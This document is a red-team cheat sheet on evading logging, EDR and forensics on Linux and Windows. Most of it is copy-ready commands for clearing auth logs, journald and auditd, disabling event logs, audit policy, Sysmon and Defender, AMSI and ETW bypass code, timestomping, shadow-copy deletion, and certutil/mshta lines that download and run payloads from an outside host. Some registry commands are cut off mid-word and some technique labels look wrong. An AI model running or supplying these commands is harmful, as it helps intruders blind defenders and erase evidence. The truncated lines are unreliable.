```
================================================================================
     EVADING LOGGING & MONITORING - COMPLETE RED TEAM NOTES
          Basic to Advanced | Commands Included
================================================================================

LEGAL NOTICE: For authorized red team exercises, penetration tests, CTFs,
and lab practice ONLY. Always get written permission. Unauthorized access
is a crime in most jurisdictions.

--------------------------------------------------------------------------------
TABLE OF CONTENTS:
------------------
```


1. Foundations: The Logging Landscape
2. Why Evasion Matters: OPSEC & Detection Surfaces
3. MITRE ATT&CK: Defense Evasion (TA0005) Map
4. Linux: Evading Local Logs
5. Windows: Evading Event Logs
6. Log Tampering & Disabling
7. Living Off the Land (LOLBins) for Stealthy Execution
8. Obfuscation & Anti-Analysis (AMSI, ETW, Encoding)
9. Network / C2 Traffic Evasion
10. EDR & AV Evasion Concepts
11. Anti-Forensics & Artifact Cleanup
12. Advanced Techniques
13. Blue Team Perspective: What Detects You
14. Mitigations You Must Evade
15. Full OPSEC Cleanup Checklist
16. Lab Practice Ideas & Resources
17. Quick Cheat Sheet


```
================================================================================
```

1. FOUNDATIONS: THE LOGGING LANDSCAPE

```
================================================================================

Before you can evade logs, you must understand WHAT is logging you.

LAYERS OF LOGGING:
  1. Endpoint OS logs (Windows Event Logs, Linux syslog/journald)
  2. Endpoint security agents (EDR, AV, HIDS)
  3. Network logs (firewall, proxy, DNS server, NetFlow, IDS)
  4. Application logs (web server, database, authentication services)
  5. Central SIEM (aggregates everything - clearing local log does NOT
     clear what has already been forwarded)

KEY RULE #1: Assume logs are CENTRALIZED. Clearing local logs only works
if there is no log forwarding configured (rare in enterprises).

KEY RULE #2: Attack the log pipeline, not just the file. Syslog over
UDP/514, Windows Event Forwarding (WEF), EDR cloud upload.

--------------------------------------------------------------------------------
1.1 WINDOWS EVENT LOGS
--------------------------------------------------------------------------------

Location: C:\Windows\System32\winevt\Logs\
Format: .evtx (binary XML)

Key logs:
  - Security        (audit policy driven, event IDs 46xx/47xx/48xx)
  - System          (service installs, driver loads, 7045)
  - Application     (app crashes, .NET logging)
  - Windows PowerShell          (400/403 - legacy PS 2.0 logging)
  - Windows PowerShell/Operational (4103 module, 4104 script block)
  - Microsoft-Windows-Sysmon/Operational (Sysmon events)
  - Microsoft-Windows-WMI-Activity/Operational (WMI persistence/execution)
```

```
  - Microsoft-Windows-TaskScheduler/Operational (persistence via tasks)
  - Microsoft-Windows-Windows Defender/Operational (AV detections)
  - Microsoft-Windows-AppLocker/EXE and DLL (AppLocker events)
  - Microsoft-Windows-TaskScheduler/Operational
  - Microsoft-Windows-TerminalServices-LocalSessionManager (RDP 21/24/25)

Critical event IDs a blue teamer watches:
  1102  - Audit log was CLEARED (huge red flag)
  104   - System event log cleared
  4624  - Successful logon
  4625  - Failed logon (brute force)
  4648  - Logon with explicit credentials (runas, psexec, lateral)
  4672  - Special privileges assigned to new logon (admin logon)
  4688  - Process created (with command line if enabled)
  4698  - Scheduled task created
  4720  - User account created
  4732  - Member added to local group
  7045  - New service installed (classic psexec/smbexec artifact)
  4104  - PowerShell script block logging (captures deobfuscated code)
  4103  - PowerShell module logging
  Sysmon 1    Process Create
  Sysmon 3    Network connection
  Sysmon 7    Image/Module Load
  Sysmon 8    CreateRemoteThread (injection)
  Sysmon 10   Process Access (lsass access for creds)
  Sysmon 11   FileCreate (payload staging)
  Sysmon 13   Registry value set (persistence)
  Sysmon 19   WMI filter/consumer (WMI persistence)
  Sysmon 22   DNS query

View logs from CLI:
  eventvwr.msc
  wevtutil sl  (list logs)
  wevtutil qe Security /c:50 /rd:true /f:text   (query last 50 events)

--------------------------------------------------------------------------------
1.2 LINUX LOGS
--------------------------------------------------------------------------------

Location:
  /var/log/auth.log          (Debian/Ubuntu - sudo, ssh, su)
  /var/log/secure            (RHEL/CentOS)
  /var/log/syslog            (general)
  /var/log/messages          (RHEL general)
  /var/log/wtmp              (binary - login history, `last`)
  /var/log/btmp              (failed logins, `lastb`)
  /var/log/lastlog           (last login per user, `lastlog`)
  /var/log/utmp              (current logged-in users, `who`)
  /var/log/cron              (cron jobs)
  /var/log/apache2/access.log
  /var/log/nginx/access.log
  /var/log/fail2ban.log
  journalctl (systemd journal) - persistent if /var/log/journal exists

Journald config:
  /etc/systemd/journald.conf
  Storage=auto|persistent|volatile|none

Audit framework:
  auditd daemon + rules in /etc/audit/rules.d/
  auditctl -l  (list rules)
  ausearch -m execve  (search exec events)
  aureport --exec  (execution report)
```

```
View login history:
  last
  last -f /var/log/wtmp
  lastb  (failed - needs root)
  lastlog
  who / w / finger

--------------------------------------------------------------------------------
1.3 NETWORK LOGS
--------------------------------------------------------------------------------
  - Firewall: iptables/nftables (conntrack), Windows Firewall, pfSense
  - Proxy: Squid, Bluecoat, Zscaler (URL + TLS inspection)
  - DNS: domain queried, response, client IP (DNS is #1 C2 beacon channel)
  - NetFlow/IPFIX: src/dst/ports/volumes (metadata, no content)
  - IDS/IPS: Suricata, Snort signatures
  - Full packet capture: Zeek (Bro) conn.log, ssl.log, dns.log
  - EDR: process tree, network connections per process, file hashes

--------------------------------------------------------------------------------
1.4 ENDPOINT SECURITY AGENTS
--------------------------------------------------------------------------------
  - EDR: CrowdStrike Falcon, SentinelOne, MS Defender for Endpoint,
    Carbon Black, Elastic EDR. Telemetry: process, registry, file, network,
    script execution, AMSI content, command lines, parent-child chains.
  - AV: signature + heuristic + cloud lookup + behavior monitoring.
  - HIDS: OSSEC, Wazuh - file integrity, log analysis, rootkit detection.
  - Sysmon: free, from Sysinternals - high-fidelity event source.

================================================================================
2. WHY EVADE: OPSEC MINDSET & DETECTION SURFACES
================================================================================

THE ATTACKER'S DILEMMA: Every action you take leaves a trace. Your job
is to maximize mission objectives while minimizing (and delaying)
detection.

DETECTION SURFACES AT EACH KILL CHAIN PHASE:
  Recon      -> Whois, DNS queries, port scans (logged by IDS)
  Weaponize  -> Local only (avoid AV cloud submission)
  Delivery   -> Email gateway, web proxy logs
  Exploit    -> AV/EDR exploit mitigation, crash dumps
  Install    -> File create events (Sysmon 11), autoruns
  C2         -> Network logs (DNS, proxy, NetFlow), beacon patterns
  Actions    -> Process creation, lateral movement, auth logs
  Cleanup    -> Log clearing itself is the loudest signal (1102!)

OPSEC RULES OF THE ROAD (red team best practice):
  1. NEVER clear ALL logs. It screams compromise. Prefer selective
     edits or avoid logging in the first place.
  2. Prefer techniques that NEVER generate logs over techniques
     that require log deletion afterwards.
  3. Blend with admin baselines. What does normal look like?
  4. Move slowly. Low-and-slow beats fast-and-noisy.
  5. Assume every command line is captured and sent to a SIEM.
  6. Encrypt C2. Assume cleartext HTTP C2 is detected.
  7. Clear YOUR artifacts only: PowerShell history, bash history,
     specific events you created - not the entire Security log.

ATTACKER'S BEST FRIEND: Legitimate admin tools (PowerShell, WMI,
certutil, mshta, bash, python) execute with the same privileges and
appearance as real admins.

================================================================================
3. MITRE ATT&CK: DEFENSE EVASION (TA0005) MAP
```

```
TA0005 - Defense Evasion (selected techniques):
  T1070  Indicator Removal
    T1070.001  Clear Windows Event Logs
    T1070.002  Clear Linux/Mac Logs
    T1070.003  Clear Command History
    T1070.004  File Deletion
    T1070.005  Clear Network Connection History/Config
    T1070.006  Timestomp
  T1112  Modify Registry
  T1036  Masquerading
    T1036.005  Match Legitimate Name or Location
    T1036.008  Masquerade File or Directory Names
  T1027  Obfuscated Files or Information
    T1027.010  Command Obfuscation
  T1562  Impair Defenses
    T1562.001  Disable or Modify Tools
    T1562.002  Disable Windows Event Logging
    T1562.004  Disable or Modify System Firewall
  T1218  System Binary Proxy Execution (LOLBins)
    T1218.001  Compiled HTML File (hh.exe)
    T1218.002  Control Panel (control)
    T1218.004  rundll32
    T1218.005  Regsvcs/Regasm
    T1218.007  msiexec
    T1218.009  Regsvr32
    T1218.010  rundll32 wmp.dll (WMP)
    T1218.011  rundll32 proxystub
    T1218.014  mshta
  T1140  Deobfuscate/Decode Files or Information
  T1055  Process Injection
    T1055.001  DLL Injection
    T1055.002  PE Injection
    T1055.003  Thread Execution Hijacking
    T1055.004  Asynchronous Procedure Call
    T1055.012  Process Hollowing
    T1055.015  ListPlanting
  T1014  Rootkit
  T1078  Valid Accounts (reuse legitimate creds - lowest noise)
  T1090  Proxy (C2 via proxy, domain fronting)
    T1090.004  Domain Fronting
  T1573  Encrypted Channel
    T1573.001  Symmetric Cryptography
    T1573.002  Asymmetric Cryptography
  T1564  Hide Artifacts
    T1564.001  Hidden Files and Directories
    T1564.003  Hidden Window
    T1564.004  NTFS File Attributes
    T1564.008  EFS (encrypted files)
  T1110  Brute Force (for creds, often noisy)

Browse for full data: https://attack.mitre.org/tactics/TA0005/
```

4. LINUX: EVADING LOCAL LOGS

4.1 BASH HISTORY - THE FIRST THING TO DISABLE

Prevent future commands from being logged (run FIRST):

```
  export HISTFILE=/dev/null
  export HISTSIZE=0
  export HISTFILESIZE=0
  unset HISTFILE
  set +o history
  history -c

Per-command: prefix with a space (if HISTCONTROL=ignorespace is set):
  ls -la /etc/shadow
  (check: echo $HISTCONTROL)

One-shot clean command + exit:
  bash -c 'rm -f ~/.bash_history; ln -s /dev/null ~/.bash_history'
  (works on some systems; fails if file immutable or owned by root)

Symlink history to /dev/null before logging in as another user:
  ln -sf /dev/null ~/.bash_history
  su - user   (if their .bash_history already symlinked)

Clear specific command from history:
  sed -i '/password/d' ~/.bash_history
  vi ~/.bash_history   (manual edit)
  history -d <offset>

Other shell histories:
  ~/.zsh_history       (zsh)
  ~/.python_history    (python REPL - can contain imported payloads)
  ~/.mysql_history     (SQL queries - DB creds!)
  ~/.sh_history        (ksh)
  ~/.ash_history       (busybox/ash)
  /root/.bash_history  (root's history - MUST check)

Clear ALL shell histories at once:
  find / -name ".*history" -exec rm {} \; 2>/dev/null

tmux/screen logging:
  # tmux logs sessions if logging enabled by default (rare)
  # screen hardcopy files: rm /tmp/screen-* /tmp/hardcopy*

--------------------------------------------------------------------------------
4.2 LINUX AUTH & LOGIN LOGS
--------------------------------------------------------------------------------

Clear auth log:
  > /var/log/auth.log
  # or truncate without deleting inode (triggers FIM on delete):
  truncate -s 0 /var/log/auth.log
  cat /dev/null > /var/log/auth.log

Clear secure (RHEL):
  > /var/log/secure
  > /var/log/secure-*

Clear syslog/messages:
  > /var/log/syslog
  > /var/log/messages
  > /var/log/syslog-*
  > /var/log/messages-*

Clear cron log:
  > /var/log/cron

Clear wtmp/btmp/lastlog (login records):
  > /var/log/wtmp
  > /var/log/btmp
  > /var/log/lastlog
```

```
  > /var/log/utmp

Alternative for wtmp (binary):
  cat /dev/null > /var/log/wtmp

Selective edit (remove YOUR entry from auth.log):
  grep -v "sshd.*from YOUR_IP" /var/log/auth.log > /tmp/a
  mv /tmp/a /var/log/auth.log
  # WARNING: mtime changes, file size shrinks - FIM will notice

Clean ALL logs quickly (dangerous OPSEC-wise - screams compromise):
  find /var/log -type f -exec truncate -s 0 {} \;
  # or
  rm -rf /var/log/*
  # or
  rm -rf /var/log/* && mkdir /var/log && chmod 755 /var/log

Keep log files but clear rotation archives:
  rm -f /var/log/*.gz /var/log/*.1 /var/log/*.old /var/log/*-*

--------------------------------------------------------------------------------
4.3 SYSTEMD JOURNALD
--------------------------------------------------------------------------------

Clear entire journal:
  journalctl --vacuum-time=1s
  journalctl --vacuum-size=1K
  rm -rf /var/log/journal/*

Clear specific unit logs:
  journalctl -u ssh -q --vacuum-time=1s
  # delete entries mentioning your IP:
  journalctl | grep -v "10.0.0.66" | systemd-cat

Set journald to volatile (RAM only - config in /etc/systemd/journald.conf):
  [Journal]
  Storage=volatile
  # then: systemctl restart systemd-journald

Disable journald persistence:
  rm -rf /var/log/journal
  mkdir -p /etc/systemd/journald.conf.d
  echo -e "[Journal]\nStorage=none" > /etc/systemd/journald.conf.d/no.conf
  systemctl restart systemd-journald

View journal WITHOUT persistence needed:
  journalctl --file=/var/log/journal/*/system.journal

--------------------------------------------------------------------------------
4.4 AUDITD - THE BIGGEST LINUX OBSTACLE
--------------------------------------------------------------------------------

If auditd is running, it logs execve() of EVERY command - independent
of shell history. You cannot easily hide from a running auditd without
root + rule removal.

List rules:
  auditctl -l

Disable audit rules (temporarily, until reboot):
  auditctl -e 0      # disable audit (needs -f 1 or root; 0=disable)
  auditctl -D        # delete ALL rules
  # or unload rules:
  augenrules --check
  rm -f /etc/audit/rules.d/*.rules
```

```
Stop auditd service:
  service auditd stop
  systemctl stop auditd
  # NOTE: many distros protect auditd from being stopped - you may get:
  # "Failed to stop auditd.service: Operation refused"

Force kill:
  kill -9 $(pidof auditd)
  # or
  pkill -9 auditd

Clear audit log itself:
  > /var/log/audit/audit.log
  > /var/log/audit/audit.log.*

Set auditd to immutable mode? (that's defender config - you want the
opposite: disable before it becomes immutable)

Check if auditd is even running:
  ps aux | grep auditd
  systemctl status auditd

NOTE: On systems with eBPF-based audit or auditd + immutable rules
(auditctl -e 2), you CANNOT disable without reboot.

--------------------------------------------------------------------------------
4.5 LINUX TIMESTOMPING
--------------------------------------------------------------------------------

Files record atime/mtime/ctime. ctime cannot be changed directly by
user (metadata change time). mtime and atime can be set.

Set mtime/atime to arbitrary time:
  touch -d "2020-01-01 00:00:00" /tmp/backdoor.sh
  touch -t 202001010000 /tmp/backdoor.sh   (compact format)

Copy timestamps from another file:
  touch -r /etc/passwd /tmp/backdoor.sh

Set both in one:
  TZ=UTC touch -d "2019-05-05 12:00:00" ./exploit

Bulk restore original timestamps (defensive-style anti-forensics):
  # (hard without a manifest of original times)

Extended attributes (for FIM evasion):
  setfattr -n user.log.off -v 1 file   (some FIM tools check xattrs)
  # actually just clear xattrs:
  setfattr -x user.foo file

Debugfs (ext4, offline, root):
  debugfs -w /dev/sda1
  debugfs: set_inode_field <inode> atime 20200101
  debugfs: set_inode_field <inode> mtime 20200101
  # WARNING: dangerous, requires unmounted filesystem or direct block

--------------------------------------------------------------------------------
4.6 LINUX FILE DELETION & ANTI-FORENSICS
--------------------------------------------------------------------------------

Secure delete (shred):
  shred -vfzun 5 /tmp/payload.sh
  # -v verbose, -f force, -z final zero pass, -u unlink, -n passes

Secure delete alternative:
  wipe -f -q /tmp/payload.sh
```

```
dd over free space:
  dd if=/dev/urandom of=/tmp/filler bs=1M count=200
  rm /tmp/filler

Check for file recovery tools (to know what blue team uses):
  testdisk, photorec, extundelete, testdisk, foremost, scalpel

Remove empty directories left behind:
  rmdir -p /tmp/hidden/dir 2>/dev/null

--------------------------------------------------------------------------------
4.7 LINUX: OTHER STEALTH TRICKS
--------------------------------------------------------------------------------

Execute command without leaving shell history (bash):
  bash -c 'command here'   (new bash - still logs via auditd)
  # or
  exec bash --norc --noprofile -c 'whoami'

Run from /dev/shm (RAM-backed, no disk artifacts):
  cp payload /dev/shm/x && chmod +x /dev/shm/x && /dev/shm/x
  rm /dev/shm/x

Run from /tmp (tmpfs if mounted tmpfs):
  mount | grep tmp   (check)

Disable command-not-found handler (logs unknown cmds):
  # usually not an issue

Hide files with leading space/dot:
  touch " .hidden_payload"
  touch .hidden_payload

Chattr immutable (defensive, but also for protecting your backdoor):
  chattr +i /tmp/persistence.sh
  lsattr /tmp/persistence.sh

BPF program hiding? (advanced - rootkit territory)

Clear dmesg:
  dmesg -c
  dmesg -C

Clear terminal scrollback (doesn't affect logs, just local TTY):
  reset
  clear

Delete SSH authorized_keys entries you added:
  sed -i '/YOUR_KEY/d' /root/.ssh/authorized_keys
  # or remove your key line carefully

Clear cron jobs you created:
  crontab -l | grep -v "malicious" | crontab -
  # also check root crontab:
  # /var/spool/cron/crontabs/root

Clear systemd persistence artifacts (if you used them):
  rm /etc/systemd/system/malicious.service
  systemctl disable malicious.service
  rm /etc/cron.d/backdoor
```

5. WINDOWS: EVADING EVENT LOGS

```
--------------------------------------------------------------------------------
5.1 CLEARING WINDOWS EVENT LOGS (T1070.001)
```

```
--------------------------------------------------------------------------------

CMD - wevtutil (Windows Event Log Utility):

List all logs:
  wevtutil el

Query a log:
  wevtutil qe Security /c:10 /rd:true /f:text
  wevtutil qe "Microsoft-Windows-Sysmon/Operational" /f:text

CLEAR a log (generates Event 1102 in Security if auditing enabled):
  wevtutil cl Security
  wevtutil cl System
  wevtutil cl Application
  wevtutil cl "Windows PowerShell"
  wevtutil cl "Microsoft-Windows-PowerShell/Operational"
  wevtutil cl "Microsoft-Windows-Sysmon/Operational"
  wevtutil cl "Microsoft-Windows-WMI-Activity/Operational"
  wevtutil cl "Microsoft-Windows-TaskScheduler/Operational"

Clear ALL logs (batch script):
  @echo off
  for /f "tokens=*" %i in ('wevtutil el') do wevtutil cl "%i"

Or PowerShell:
  Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } |
    ForEach-Object { wevtutil cl $_.LogName }

DISABLE a log (stop it recording - stealthier than clearing):
  wevtutil sl Security /e:false
  wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:false
  wevtutil sl Sysmon /e:false
  # re-enable:
  wevtutil sl Security /e:true

Export logs before clearing (for your own OPSEC analysis):
  wevtutil epl Security C:\Temp\sec.evtx

--------------------------------------------------------------------------------
5.2 POWERSHELL LOG CLEARING
--------------------------------------------------------------------------------

Clear a single log:
  Clear-EventLog -LogName Security
  Clear-EventLog -LogName System, Application

Clear via .NET:
  [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog("Security")

Clear PowerShell history file:
  Remove-Item (Get-PSReadlineOption).HistorySavePath
  # or truncate:
  Clear-Content (Get-PSReadlineOption).HistorySavePath
  # path is usually:
  # %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Disable PSReadLine history for current session:
  Set-PSReadLineOption -HistorySaveStyle SaveNothing

Clear Windows PowerShell log (legacy):
  Remove-EventLog -LogName "Windows PowerShell"
  # (this removes the log entirely - too aggressive, recreates on reboot)

--------------------------------------------------------------------------------
5.3 WINDOWS AUDIT POLICY - DISABLING (T1562.002)
```

```
--------------------------------------------------------------------------------

View audit policy:
  auditpol /get /category:*

Disable process creation auditing (stops 4688 + command line logging):
  auditpol /set /subcategory:"Process Creation" /success:disable /failure:disable

Disable logon auditing:
  auditpol /set /subcategory:"Logon" /success:disable /failure:disable

Disable ALL auditing:
  auditpol /set /category:* /success:disable /failure:disable

Reset to default:
  auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable

Disable via registry (requires reboot, and Group Policy may override):
          reg     add     "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit"     /v
ProcessCreationIncludeCmd

Disable command line in process creation:
          reg     add     "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit"     /v
ProcessCreationIncludeCmd

NOTE: Enterprise GPO may re-apply audit policy periodically. Check:
  gpupdate /force
  gpresult /h report.html

--------------------------------------------------------------------------------
5.4 DISABLING POWERSHELL SCRIPT BLOCK & MODULE LOGGING
--------------------------------------------------------------------------------

Script Block Logging (Event 4104) - registry:
         reg    add    "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"    /v
EnableScriptBlockLoggin
  # or delete the key entirely:
  reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /f

Transcription logging disable:
  reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" /f

Module Logging (4103):
  reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" /f

AMSI (Anti-Malware Scan Interface) disable via registry:
  reg add "HKLM\SOFTWARE\Microsoft\AMSI\Providers" /v "" /t REG_SZ /d "" /f
  # NOTE: defender may block this (Tamper Protection)

Check current settings:
  Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
  Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"

--------------------------------------------------------------------------------
5.5 SYSMON CONFIG MANIPULATION
--------------------------------------------------------------------------------

Sysmon logs high-fidelity events. If you can modify its config, you can
blind it.

Find Sysmon config:
  # Sysmon64.exe -c   (view config)
  # or check registry:
  reg query "HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters"

Change Sysmon config to log nothing useful:
  # Sysmon requires a config file - if you replace config with empty
```

```
  # filters, it may stop logging or log differently.
  # Sysmon64.exe -c .\empty_config.xml

Empty Sysmon config (logs nothing useful):
  <Sysmon schemaversion="4.90">
    <HashAlgorithms>None</HashAlgorithms>
    <EventFiltering>
    </EventFiltering>
  </Sysmon>

Uninstall/stop Sysmon:
  Sysmon64.exe -u force
  # or stop service:
  sc stop Sysmon
  sc delete Sysmon

Replace config (needs admin + Sysmon service restart to reload):
  Sysmon64.exe -c malicious_config.xml

NOTE: Sysmon64.exe -u is logged. Config changes are logged too if
centralized. Better: live memory patching of Sysmon driver (advanced).

--------------------------------------------------------------------------------
5.6 DEFENDER / AV DISABLING & EXCLUSIONS
--------------------------------------------------------------------------------

# Run as Administrator (requires Tamper Protection OFF in enterprise)

Disable real-time protection (temporary, reverts after ~15 min):
  Set-MpPreference -DisableRealtimeMonitoring $true

Add exclusion (so your payload is ignored):
  Add-MpPreference -ExclusionPath "C:\Temp"
  Add-MpPreference -ExclusionProcess "mimikatz.exe"
  Add-MpPreference -ExclusionExtension ".ps1"

Disable behavior monitoring:
  Set-MpPreference -DisableBehaviorMonitoring $true
  Set-MpPreference -DisableIOAVProtection $true
  Set-MpPreference -DisableScriptScanning $true

Disable cloud protection:
  Set-MpPreference -MAPSReporting Disabled
  Set-MpPreference -SubmitSamplesConsent NeverSend

Query current prefs:
  Get-MpPreference | Select DisableRealtimeMonitoring, ExclusionPath

Tamper Protection note:
  Tamper Protection (Windows Security app) prevents these registry/
  WMI changes in enterprise. Bypass requires kernel-level techniques
  (out of scope for most labs).

Uninstall Defender (not recommended for OPSEC - removes baseline):
  # Usually blocked by Tamper Protection

--------------------------------------------------------------------------------
5.7 ETW (EVENT TRACING FOR WINDOWS) EVASION
--------------------------------------------------------------------------------

ETW is the underlying telemetry framework for Windows + most EDRs.

Concept: patch EtwEventWrite in memory to return immediately (NOP/return).

Classic userland ETW patching (educational example - real EDRs detect
this pattern):
  $etw = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
```

```
    [System.Diagnostics.Process]::GetCurrentProcess().MainModule.ModuleMemoryAddress + <offset>,
    [type][Action]
  )
  # Actual patching requires:
  # 1. Get ntdll!EtwEventWrite address (GetProcAddress via P/Invoke)
  # 2. VirtualProtect to RWX
  # 3. Write 0xC3 (ret) or jump-to-return gadget
  # 4. VirtualProtect back
  # Tools: ETWp, amsi.etw patchers in Cobalt Strike, Covenant

EDR-specific ETW providers that watch for this:
  Microsoft-Windows-Threat-Intelligence (TI)
  Microsoft-Windows-Windows Defender
  Microsoft-Antimalware-Scan-Interface

Modern EDRs use kernel callbacks + minifilters + ELAM drivers that
cannot be patched from userland alone.

--------------------------------------------------------------------------------
5.8 AMSI (ANTI-MALWARE SCAN INTERFACE) BYPASS
--------------------------------------------------------------------------------

AMSI scans: PowerShell scripts, JScript/VBScript, Office macros,
COM objects.

Classic reflection-based AMSI bypass (educational - widely known, patched
in many forms; real EDRs detect these signatures):

PowerShell:
  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
    GetField('amsiInitFailed','NonPublic,Static').
    SetValue($null,$true)

Variations for obfuscation:
  $a='System.Management.Automation.A';$b='msiUtils'
  $c=[Ref].Assembly.GetType($a+$b)
  $c.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

In-memory patch of AmsiScanBuffer:
  # Get address of AmsiScanBuffer in amsi.dll
  # Write 0xB8 0x57 0x00 0x07 0x80 C3 (mov eax, 0x80070057; ret)
  # This makes AMSI return E_INVALIDARG, effectively disabled

Tools that automate this:
  Cobalt Strike Aggressor: amsi bypass in malleable C2
  Invoke-Obfuscation (obfuscate AMSI bypass)
  SharpSploit / various C2 frameworks
  Rubeus (contains AMSI bypass for Kerberos tooling)

EDR response:
  Signature-based detection of known bypass strings
  Heuristic: GetField on amsiInitFailed
  Kernel: Microsoft-Windows-Threat-Intelligence reports bypass attempts
  Behavioral: unbacked executable memory, RWX transitions

--------------------------------------------------------------------------------
5.9 DISABLE WINDOWS DEFENDER VIA REGISTRY / SERVICE
--------------------------------------------------------------------------------

# Registry (may be blocked by Tamper Protection):
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1
/f
      reg   add   "HKLM\SOFTWARE\Policies\Microsoft\Windows   Defender\Real-Time   Protection"   /v
DisableRealtimeMonitori

# Stop and disable service:
```

```
  sc stop WinDefend
  sc config WinDefend start=disabled

# Disable via WMI:
  Get-WmiObject -Namespace root\Microsoft\SecurityClient -Class AntiVirusProduct

# Check Defender status:
  Get-MpComputerStatus

# Tamper Protection will revert these settings automatically.

--------------------------------------------------------------------------------
5.10 WINDOWS TIMESTOMPING (T1070.006)
--------------------------------------------------------------------------------

PowerShell (Set-FileTime style):
  # Manual .NET approach:
  $f = "C:\Temp\payload.exe"
  (Get-Item $f).CreationTime = Get-Date "2020-01-01 08:00:00"
  (Get-Item $f).LastWriteTime = Get-Date "2020-01-01 08:00:00"
  (Get-Item $f).LastAccessTime = Get-Date "2020-01-01 08:00:00"

Metasploit timestomp module:
  use post/windows/manage/timestomp
  set FILE C:\Temp\payload.exe
  set TSTMP 202001010800.00

Timestomp.exe (various GitHub tools, also in metasploit):
  Timestomp.exe C:\Temp\payload.exe -m "01/01/2020 08:00:00"
  Timestomp.exe C:\Temp\payload.exe -c "01/01/2020 08:00:00"  (created)

NTFS alternate data streams (T1564.004):
  # Hide payload in ADS:
  type payload.exe > "C:\Temp\legit.txt:payload.exe"
  # Execute via:
  wmic process call create "C:\Windows\System32\cmd.exe /c C:\Temp\legit.txt:payload.exe"
  # View ADS:
  dir /r C:\Temp
  fsutil stream list C:\Temp\legit.txt

$MFT / $LogFile manipulation:
  fsutil usn deletejournal /d C:
  # $UsnJrnl deletion removes file operation history

--------------------------------------------------------------------------------
5.11 WINDOWS FORENSIC ARTIFACT CLEANUP
--------------------------------------------------------------------------------

Prefetch (C:\Windows\Prefetch\*.pf) - shows executed programs:
  # Prefetch is hard to clear without breaking things
  # Selective delete your tool's .pf:
  del C:\Windows\Prefetch\POWERSHELL*.pf
  del C:\Windows\Prefetch\MIMIKATZ*.pf
  # Disabling Prefetch (registry, needs reboot):
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters"
/v Ena

AmCache (C:\Windows\appcompat\Programs\Amcache.hve):
  # Registry hive - delete file (may be locked)
  del C:\Windows\appcompat\Programs\Amcache.hve

Shimcache (registry):
  reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" /f

SRUM (System Resource Usage Monitor - network + app history):
  del C:\Windows\System32\sru\SRUDB.dat
```

```
Recycle Bin:
  rd /s /q C:\$Recycle.Bin
  Clear-RecycleBin -Force

Recent files (LNK artifacts):
  del %APPDATA%\Microsoft\Windows\Recent\*
  del %APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*
  del %APPDATA%\Microsoft\Windows\Recent\CustomDestinations\*

Jump Lists:
  del %APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\*.automaticDestinations-ms

Shellbags (registry - folder browsing history):
  reg delete "HKCU\Software\Microsoft\Windows\Shell\BagMRU" /f
  reg delete "HKCU\Software\Microsoft\Windows\Shell\Bags" /f

Thumbs.db / icon cache:
  del %LOCALAPPDATA%\Thumbcache_*.db
  del /a:h %LOCALAPPDATA%\IconCache.db

DNS cache (network artifacts):
  ipconfig /flushdns

ARP cache:
  arp -d *

Network connection history is harder - stored in ETW, NetFlow, etc.

--------------------------------------------------------------------------------
5.12 SHADOW COPY / BACKUP DELETION
--------------------------------------------------------------------------------

Delete volume shadow copies (anti-recovery):
  vssadmin delete shadows /all /quiet
  wmic shadowcopy delete

Delete backups:
  bcdedit /set {default} recoveryenabled No
  bcdedit /set {default} bootstatuspolicy ignoreallfailures

NOTE: These are LOUD. Blue teams monitor vssadmin usage (Sigma rules).
```

6. LOG TAMPERING vs CLEARING - OPSEC STRATEGY

```
CLEARING (wevtutil cl):
  + Removes all trace from that log
  - Generates Event 1102 (log cleared) in Security log
  - Forensic timeline gap visible
  - SIEM may already have forwarded old entries

DISABLING (wevtutil sl /e:false):
  + No clear event generated
  - Log stops recording (gap visible in SIEM heartbeats)
  - Requires re-enabling for legitimate ops

SELECTIVE EDIT:
  - Export to EVTX, manipulate offline, re-import (complex)
  - Use LogParser / wevtutil to filter specific EventIDs
  - Risk: XML structure mismatches, SID resolution failures

BEST PRACTICE (red team): NEVER clear Security log. Instead:
  1. Disable logging BEFORE action (if possible)
  2. Or avoid generating logs at all (in-memory, LOLBins)
  3. Clear ONLY PowerShell history / specific artifacts you created
```

```
  4. Use alternate execution paths that don't log

================================================================================
7. LIVING OFF THE LAND (LOLBINS) FOR STEALTH
================================================================================

Use signed Microsoft binaries to execute code. Blends with admin
activity, often bypasses AppLocker/WDAC whitelisting.

--------------------------------------------------------------------------------
7.1 LOLBAS LIST (key ones)
--------------------------------------------------------------------------------

CERTUTIL:
  # Decode base64 file:
  certutil -decode payload.b64 payload.exe
  # Download file (URL cache bypass - leaves artifacts):
  certutil -urlcache -split -f http://10.10.10.5/payload.exe payload.exe
  # Verify cert:
  certutil -verify -urlfetch file.cab
  # NOTE: -urlcache logs to certutil.log unless cleared

MSHTA:
  mshta http://10.10.10.5/payload.hta
  mshta vbscript:Execute(""Wscript.Shell"").Run ""cmd /c calc.exe"":close")
  # Executes HTA in memory (Scriptlets, JS, VBS)

RUNDLL32:
  rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert(1)
